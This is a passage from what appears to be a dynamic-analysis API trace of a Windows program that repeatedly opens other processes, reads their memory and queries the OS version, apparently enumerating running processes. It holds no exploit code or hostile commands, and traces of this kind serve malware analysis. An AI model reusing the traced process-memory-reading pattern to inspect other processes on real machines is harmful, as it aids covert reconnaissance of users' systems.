lpNumberOfBytesRead=0x0) returned 1 [0204.591] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5d1cd0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0204.591] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5d18f8, lpBuffer=0x2dc24fc2d0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0204.592] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0204.593] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0204.593] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2d2020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0204.594] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5d12e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0204.594] malloc (_Size=0x66) returned 0x20abc2807d0 [0204.594] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5d1956, lpBuffer=0x20abc2807d0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2807d0*, lpNumberOfBytesRead=0x0) returned 1 [0204.595] free (_Block=0x20abc2807d0) [0204.595] CloseHandle (hObject=0x464) returned 1 [0204.596] _ui64tow_s (in: _Value=0x1038, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4152") returned 0x0 [0204.599] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4152") returned 4 [0204.600] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0204.600] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0204.800] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1038) returned 0x464 [0204.800] GetLastError () returned 0x0 [0204.800] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0204.800] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x530018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0204.801] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0204.801] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x791d00, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0204.801] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7918f8, lpBuffer=0x2dc24fc2d0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0204.802] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0204.803] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0204.803] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x530020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0204.803] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7912e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0204.803] malloc (_Size=0x76) returned 0x20abc282120 [0204.804] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x791966, lpBuffer=0x20abc282120, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0204.804] free (_Block=0x20abc282120) [0204.805] CloseHandle (hObject=0x464) returned 1 [0204.805] _ui64tow_s (in: _Value=0x1040, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4160") returned 0x0 [0204.809] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4160") returned 4 [0204.810] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0204.810] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0204.822] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1040) returned 0x464 [0204.823] GetLastError () returned 0x0 [0204.823] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0204.823] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x258018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0204.823] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0204.824] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4f1d00, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0204.824] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4f18f8, lpBuffer=0x2dc24fc2d0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0204.825] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0204.826] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0204.826] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x258020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0204.826] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4f12e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0204.826] malloc (_Size=0x7a) returned 0x20abc286890 [0204.826] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x4f196a, lpBuffer=0x20abc286890, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc286890*, lpNumberOfBytesRead=0x0) returned 1 [0204.827] free (_Block=0x20abc286890) [0204.827] CloseHandle (hObject=0x464) returned 1 [0204.827] _ui64tow_s (in: _Value=0x104c, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4172") returned 0x0 [0204.831] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4172") returned 4 [0204.832] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0204.832] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0205.050] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x104c) returned 0x464 [0205.050] GetLastError () returned 0x0 [0205.051] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0205.051] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x28c018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0205.051] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0205.051] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x701d30, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0205.051] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7018f8, lpBuffer=0x2dc24fc2d0, nSize=0x7e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0205.052] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0205.054] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0205.054] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x28c020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0205.054] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7012e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0205.054] malloc (_Size=0x86) returned 0x20abc286850 [0205.054] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x701976, lpBuffer=0x20abc286850, nSize=0x84, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc286850*, lpNumberOfBytesRead=0x0) returned 1 [0205.055] free (_Block=0x20abc286850) [0205.055] CloseHandle (hObject=0x464) returned 1 [0205.056] _ui64tow_s (in: _Value=0x105c, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4188") returned 0x0 [0205.059] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4188") returned 4 [0205.060] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0205.060] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0205.073] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x105c) returned 0x464 [0205.073] GetLastError () returned 0x0 [0205.073] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0205.073] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x38d018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0205.073] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0205.074] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5a1d00, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0205.074] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5a18f8, lpBuffer=0x2dc24fc2d0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0205.075] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0205.076] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0205.076] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x38d020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0205.076] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5a12e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0205.076] malloc (_Size=0x76) returned 0x20abc282120 [0205.076] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5a1966, lpBuffer=0x20abc282120, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0205.077] free (_Block=0x20abc282120) [0205.077] CloseHandle (hObject=0x464) returned 1 [0205.078] _ui64tow_s (in: _Value=0x1064, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4196") returned 0x0 [0205.081] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4196") returned 4 [0205.082] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0205.082] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0205.316] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1064) returned 0x464 [0205.316] GetLastError () returned 0x0 [0205.316] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0205.316] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x264018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0205.316] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0205.317] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x511ca0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0205.317] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5118f8, lpBuffer=0x2dc24fc2d0, nSize=0x50, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0205.318] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0205.319] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0205.319] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x264020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0205.319] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x5112e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0205.320] malloc (_Size=0x58) returned 0x20abc2a7660 [0205.320] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x511948, lpBuffer=0x20abc2a7660, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2a7660*, lpNumberOfBytesRead=0x0) returned 1 [0205.320] free (_Block=0x20abc2a7660) [0205.321] CloseHandle (hObject=0x464) returned 1 [0205.321] _ui64tow_s (in: _Value=0x1070, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4208") returned 0x0 [0205.325] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4208") returned 4 [0205.326] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0205.326] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0205.339] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1070) returned 0x464 [0205.339] GetLastError () returned 0x0 [0205.339] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0205.339] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x48d018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0205.339] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0205.340] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2a1cd0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0205.340] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2a18f8, lpBuffer=0x2dc24fc2d0, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0205.341] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0205.342] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0205.342] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x48d020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0205.342] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2a12e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0205.342] malloc (_Size=0x6a) returned 0x20abc286890 [0205.342] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2a195a, lpBuffer=0x20abc286890, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc286890*, lpNumberOfBytesRead=0x0) returned 1 [0205.343] free (_Block=0x20abc286890) [0205.344] CloseHandle (hObject=0x464) returned 1 [0205.344] _ui64tow_s (in: _Value=0x1080, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4224") returned 0x0 [0205.347] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4224") returned 4 [0205.348] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0205.348] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0205.625] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1080) returned 0x464 [0205.625] GetLastError () returned 0x0 [0205.626] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0205.626] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2b9018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0205.626] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0205.626] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1d1d00, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0205.627] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1d18f8, lpBuffer=0x2dc24fc2d0, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0205.628] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0205.629] NtQueryInformationProcess (in: ProcessHandle=0x464, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0205.629] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x2b9020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0205.629] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1d12e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0205.630] malloc (_Size=0x76) returned 0x20abc282120 [0205.630] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1d1966, lpBuffer=0x20abc282120, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0205.631] free (_Block=0x20abc282120) [0205.632] CloseHandle (hObject=0x464) returned 1 [0205.846] _ui64tow_s (in: _Value=0x1088, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4232") returned 0x0 [0205.851] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="4232") returned 4 [0205.852] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0205.853] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, 